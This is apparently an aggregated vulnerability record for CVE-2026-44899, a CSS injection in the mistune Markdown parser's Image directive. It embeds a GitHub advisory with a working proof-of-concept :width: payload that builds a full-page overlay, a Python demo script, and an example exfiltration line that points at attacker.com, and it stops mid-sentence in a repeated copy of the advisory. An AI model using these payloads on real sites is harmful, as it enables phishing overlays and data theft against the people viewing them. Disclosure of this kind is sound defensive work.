{"id":"CVE-2026-44899","aliases":["AZL-88406","DEBIAN-CVE-2026-44899","EUVD-2026-31992","GHSA-ccfx-mfmx-2fx9","PYSEC-2026-2209","SUSE-SU-2026:21858-1","UBUNTU-CVE-2026-44899","openSUSE-SU-2026:20827-1"],"status":"published","title":"Mistune Image Directive CSS Injection Vulnerability","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style=\"width:...;\" or style=\"height:...;\" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.","severity":{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00228,"percentile":0.13709,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-05-14T16:36:18Z","modified":"2026-10-28T02:31:05Z","fixes":[{"ecosystem":"PyPI","package":"mistune","fixed_in":["3.2.1"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"python-mistune","fixed_in":["3.2.1-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"last_affected":"3.2.0"},{"fixed":"3.2.1"}]}],"versions":["3.2.0"]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.1-1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.4-1","2.0.4-2","3.0.2-1","3.0.2-2","3.1.3-1","3.1.4-1","3.3.4-1"]},{"source":"osv","ecosystem":"Debian:13","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.3-1","3.1.4-1","3.3.4-1"]},{"source":"osv","ecosystem":"Debian:14","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.3-1","3.1.4-1","3.3.4-1"]},{"source":"osv","ecosystem":"PyPI","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"3.2.1"}]}],"versions":["3.2.0"]},{"source":"osv","ecosystem":"PyPI","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.1"}]}],"versions":["0.1.0","0.2.0","0.3.0","0.3.1","0.4","0.4.1","0.5","0.5.1","0.6","0.7","0.7.1","0.7.2","0.7.3","0.7.4","0.8","0.8.1","0.8.2","0.8.3","0.8.4","2.0.0","2.0.0a1","2.0.0a2","2.0.0a3","2.0.0a4","2.0.0a5","2.0.0a6","2.0.0rc1","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1.0","3.0.0","3.0.0a1","3.0.0a2","3.0.0a3","3.0.0rc1","3.0.0rc2","3.0.0rc3","3.0.0rc4","3.0.0rc5","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.2.0"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6-2","0.7.1-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4-1","0.8-1","0.8.1-1","0.8.3-2"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.4-1","0.8.4-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.4-4","0.8.4-5","2.0.0-1+really0.8.4-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"mistune0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.4-1","0.8.4-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.4-2","3.0.2-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"mistune0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.4-2"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.0.2-2","3.1.3-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"mistune0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.4-4"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"mistune0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.4-6"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.3-1","3.1.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"mistune0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.4-4","0.8.4-5","0.8.4-6"]}],"products":[{"vendor":"lepture","product":"mistune"},{"vendor":"mistune_project","product":"mistune"}],"references":[{"url":"https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/lepture/mistune/releases/tag/v3.2.1","tags":["x_refsource_MISC","Product","Release Notes","web","advisory","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44899","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-ccfx-mfmx-2fx9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44899.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-44899","tags":["advisory"]},{"url":"https://github.com/lepture/mistune","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202621858-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1264347","tags":["report"]},{"url":"https://bugzilla.suse.com/1264750","tags":["report"]},{"url":"https://bugzilla.suse.com/1264751","tags":["report"]},{"url":"https://bugzilla.suse.com/1264752","tags":["report"]},{"url":"https://bugzilla.suse.com/1264754","tags":["report"]},{"url":"https://bugzilla.suse.com/1265052","tags":["report"]},{"url":"https://bugzilla.suse.com/1265053","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33079","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33441","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44708","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44896","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44897","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44898","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44899","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-44899","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44899","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-44899","title":"Mistune Image Directive CSS Injection Vulnerability","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style=\"width:...;\" or style=\"height:...;\" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T20:36:40.461Z","modified":"2026-05-27T13:31:02.744Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-31992","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style=\"width:...;\" or style=\"height:...;\" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T20:36:40Z","modified":"2026-05-27T13:31:02Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:21:04.78276Z"}],"ghsa":[{"id":"GHSA-ccfx-mfmx-2fx9","title":"Mistune Image Directive CSS Injection Vulnerability","description":"## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor — prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same — prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += ' width=\"' + width + '\"'   # safe: integer → HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer → raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 — Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 — Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 — Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` — overrides height to full viewport height\n- `;position:fixed` — lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` — anchors overlay to the top-left corner\n- `;z-index:9999` — places it above all other page content\n- `;background-color:#e11d48` — fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` — adds a bright yellow border\n- `;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: ⚠ CSS INJECTED — click to dismiss ⚠\n```\n```\n\n**Step 4 — Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"⚠ CSS INJECTED — click to dismiss ⚠\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection — width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n→ a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  → overlay sits above the entire page\n#   top/left/width/height → covers 100 % of the viewport\n#   background-color:#e11d48 → vivid crimson fill\n#   outline:8px solid #facc15 → bright yellow border\n#   color:#fff → white alt-text label\n#   z-index:9999 → on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f'\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e'\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{header} — {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput — {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput — HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e↓ live render (sandboxed to preview box)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 — Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 — Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n  \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n  \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n  (prefix-only — no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n  A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n  CSS chain: \u003cstrong\u003eposition:fixed · background-color · outline colour · full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n  ⚠ The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n      \"Integer dims → clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline → full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.","status":"published","published":"2026-05-14T16:36:18Z","modified":"2026-06-08T23:30:32Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:40:21.48274Z"}],"nvd":[{"id":"CVE-2026-44899","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style=\"width:...;\" or style=\"height:...;\" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T21:16:39.953Z","modified":"2026-07-24T11:10:00.17Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:20.511562Z"}],"osv":[{"id":"CVE-2026-44899","title":"Mistune Image Directive CSS Injection Vulnerability","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style=\"width:...;\" or style=\"height:...;\" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T20:36:40.461Z","modified":"2026-10-28T02:31:05.729352848Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"DEBIAN-CVE-2026-44899","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style=\"width:...;\" or style=\"height:...;\" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T21:16:39.953Z","modified":"2026-10-01T03:03:14.628244697Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:55.669088Z"},{"id":"GHSA-ccfx-mfmx-2fx9","title":"Mistune Image Directive CSS Injection Vulnerability","description":"## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor — prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same — prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += ' width=\"' + width + '\"'   # safe: integer → HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer → raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 — Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 — Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 — Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` — overrides height to full viewport height\n- `;position:fixed` — lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` — anchors overlay to the top-left corner\n- `;z-index:9999` — places it above all other page content\n- `;background-color:#e11d48` — fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` — adds a bright yellow border\n- `;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: ⚠ CSS INJECTED — click to dismiss ⚠\n```\n```\n\n**Step 4 — Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"⚠ CSS INJECTED — click to dismiss ⚠\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a 